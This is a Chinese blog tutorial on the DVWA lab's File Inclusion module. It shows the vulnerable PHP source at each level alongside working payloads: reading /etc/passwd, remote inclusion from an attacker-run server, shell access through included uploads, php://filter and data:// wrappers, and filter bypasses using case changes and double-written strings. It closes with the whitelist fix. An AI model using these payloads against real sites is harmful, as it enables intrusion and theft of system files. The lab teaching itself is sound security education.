往期博文:
DVWA靶场-Brute Force Source 暴力破解
靶场环境搭建
目录
File Inclusion
Low File Inclusion
核心代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
这里直接get传参,包含文件,没有进行任何过滤
攻击方式
1、本地文件读取
在实战中,如果攻击linux操作系统,最常见的就是查看其passwd文件
?page=/etc/passwd
2、远程文件包含
?page=http://www.baidu.com/robots.txt
3、本地文件包含 Getshell
这里我们使用phpinfo 测试
首先需要借助我们的靶场的文件上传,去上传info 文件,我们可以直接后缀为txt文件,文件包含的强大之处就在于他会执行所包含文件中的php代码
#info.txt
<?php
phpinfo();
?>
?page=../../hackable/uploads/info.txt
4、远程文件包含 Getshell
这里我们本地搭建一台服务器,IP:192.168.1.184
?page=http://192.168.1.184/info.txt
5、伪协议
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
php://filter 文件读取
?page=php://filter/read=convert.base64-encode/resource=index.php
data://
?page=data:text/plain,<?php phpinfo();?>
Medium File Inclusion
核心代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
本地文件包含
代码中过滤了 ../ ..\
如果我们知道其绝对路径,直接包含绝对路径,就可绕过检测
?page=/etc/passwd
不知道的话,可以尝试使用双写嵌套绕过
?page=…/./…/./..././..././..././etc/passwd
被replace 函数过滤之后
?page=../../../../../etc/passwd
远程文件包含
代码中过滤了http:// https://
由于这里只过滤了小写,我们可以尝试大写绕过
?page=HTTP://www.baidu.com/robots.txt
同样,我们也可以尝试使用双写嵌套绕过
?page=hhttp://ttp://www.baidu.com/robots.txt
被replace 函数过滤之后
?page=http://www.baidu.com/robots.txt
High File Inclusion
核心代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
这里要求$file 变量的开头必须是file
由此我们想到了file 文件协议
为了测试效果,我们在web 根目录下创建一个info.php 文件
?page=file:///C:\phpStudy\WWW\info.php
Impossible File Inclusion
核心代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
这里使用白名单过滤策略,只允许三个参数通过,也就是说提交的参数只能时 include.php file.php file2.php file3.php 这三个中的一个,彻底杜绝了文件包含漏洞